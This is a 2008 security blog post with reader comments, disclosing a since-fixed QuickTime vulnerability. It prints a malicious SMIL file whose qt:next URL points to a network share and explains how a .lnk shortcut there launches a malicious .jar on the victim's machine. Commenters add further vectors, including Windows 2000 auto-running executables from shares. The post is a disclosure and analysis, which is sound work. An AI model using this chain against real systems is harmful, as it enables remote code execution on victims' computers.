Details of the QuickTime Vulnerability

Tue, 09 Sep 2008 14:24:38 GMT

In this post I intend to give a brief overview of the QuickTime vulnerability which I partially-disclosed over here. I should have made these details public long time ago but better late than never. The vulnerability has been fixed for several months now and I believe it is safe to talk about it in the public.

Let's start with an example. The following is the source code of a malicious QuickTime SMIL file:

**SMILtext** <smil
xmlns:qt="http://www.apple.com/quicktime/resourc
es/smilextensions" qt:autoplay="true"
qt:next="**file://172.16.3.124/evil/evil.lnk**">
<body>
<seq repeatCount="indefinite">
<img src="test.jpg" dur="1s"/>
<img src="test.jpg" dur="1s"/>
</seq>
</body>
</smil>

First of all, we start with the SMIL header (SMILtext). This is necessary in order to masquerade the file as a different file type, i.e. if we paste the above text into a file with extension .mp3, it will still play in QuickTime. We can use practically any other file extension which defaults to the QuickTime player.

After that we follow with a very standard SMIL document. The most interesting information in order to make the exploit works is contained inside the qt:next attribute of the smil root element. This attribute instructs QuickTime to play another media file after we are done with the current one. The attribute expects a URL which can start with the file:// protocol handler. This is understandable since we might want to play local files as well as remote ones, i.e. http://.

The URL is passed to the FileProtocolHandler from url.dll. The function understands that we are asking for a local resource. However, pay attention on the format of the URL we are passing. Let's take a closer look: file://172.16.3.124/evil/evil.lnk

Most of you will recognize that this is a URL which points to a NETBIOS share located on 172.16.3.124.

Perhaps you are thinking that this is the problem. Well yes, but we are not there just yet. Initially, when I was playing with this bug, I was trying to launch a URL like this one: file://172.16.3.124/evil/evil.exe. The URL points to an executable. Unfortunately, the attack was failing because usually XP SP1 and up, I believe (excuse my ignorance), will warn you that you are trying to execute an application from an untrusted share. Typically, you will see a warning box but because FileProtocolHandler suppresses that, the function silently fails. I've tried with .bat, .cmd, .vbs, .js, .application and other known executable file formats but none of them seemed to work. This is due to the fact that the operating system knows that these files are executables and could harm your system, therefore it prevents their execution.

So I needed to find a file format which is executable but Windows does not know about it just yet. It seems that .jar fits perfectly my requirements. .jar is the file extension of the JAR archive, a ZIP archive with a manifest file which instructs the Java interpreter what class should be executed as the main one. .jar files are executable as long as you have Java on your system.

So we are done! Right? Not quite. If you try to send file://172.16.3.124/evil/evil.jar to FileProtocolHandler you will notice that java.exe fails with an error messages informing you that there is no such class. What happens is that Java does not understand what file://172.16.3.124/evil/evil.jar actually is. This is due to the fact that the URL notation we are using is non-standard, i.e. it is made up by Microsoft's engineers to seamlessly incorporate NETBIOS shares into the operating system.

So what do we do? It took me some time to figure this out. My approach is very simple. First of all we create a simple .lnk (link/shortcut) file in the same directory where the malicious .jar file is located. Then we use the shortcut to rewrite the URL from file://172.16.3.124/evil/evil.jar to \\172.16.3.124\evil\evil.jar, which is the correct NETBIOS notation. The Java interpreter is very much aware of this syntax and it will happily load the file and attack the victim's system.

In summary, I had to go from QuickTime to Windows Internals to URL Manipulation to Java. However, the attack is very simple to implement and understand, yet very effective. I must say that you can definitely win a laptop on the annual POWN2OWN contest by using as simple trick as the one presented here. Security vulnerabilities do not have to be complicated!

I am planning to talk about the impact of this attack in my next post.

Archived Comments

Adrian 'pagvac' Pastor

This is a neat example of a simple bug that can lead to command execution. Simple yet effective.

djTeller

So Simple but yet so destructive. I guess QT rushed into fixing this bug, so there are probably some more attack vectors with the SMIL format or even the same one with a twist. Great work PDP thanks for the info.

denka

Can you be specific to the extent of damage the Java application loaded in this way (from a share) can do? Will it not fail with any attempt to read/write files, or launch other applications?

pdp

in my POC, it launches the system calculator and this is enough to make me worried.

Edu

First of all, sorry for bumping this up. Read this please as it may clear out stuff. from what I read from your Quick Time POC, you use the qtnext instruction to open an arbitrary URL. The vulnerability itself is not in Quicktime but in the function of the url.dll file that is called. Internet shortcut files functions in a similar way, although the function executed is from ieframe.dll, not url.dll (at least when IE 7 is installed). For what I read, what happens is that the qtnext instruction is executed pretty much like an URL file, so that the file that will be opened will be subject to the famous Internet Explorer security zones scheme. dotted URL addresses are automatically put in the Internet security zone by default, in which the default setting for opening programs and unsafe files (unsafe means the extension is in the Microsoft blacklist, this includes a hell lot of file types, like .url, .chm., .hta, .wsf, etc) is set to prompt, so this is why it was not working (You were probably getting a file execution prompt, which informs u the file name and extension plus the type and Editor, if it has a valid digital signature). If you had used an address such as file://computername/share/file.exe it would probably work just fine, in case you have IE 6 or if IE 7 has determined your computer is part of a domain and/or if you have manually enabled the intranet settings, because the file is automatically put in the Local Intranet security zone. XP SP2/SP3 operating system has got a bug in which for some reason, when you open an internet shortcut that points to a shortcut file located in a network share (at the internet security zone), it will be automatically loaded and executed, as long as the command line for the shortcut (.LNK file) points to a local program, which in turn you can pass parameters. and that´s why it worked for QuickTime. PS: Windows 2000 SP4 seems to automatically load and run arbitrary files located in network shares (that include addresses placed in both the local intranet and internet zone), so I guess if you pointed the qtnext instruction to an address such as file://x.x.x.x/share/file.exe, the file.exe would be automatically executed on this system. I say *seems* because this copy of Windows 2000 I have I downloaded from the internet and installed over a virtual machine and it could be messed up. I remember joking with friends that had Quicktime, by passing the url shell:personal to the qtnext parameter and it would load the contents of mydocuments folder. The fact that you can pass arbitrary URL protocols to the qtnext opens a door for a known type of attack : parameter injection on URL protocols.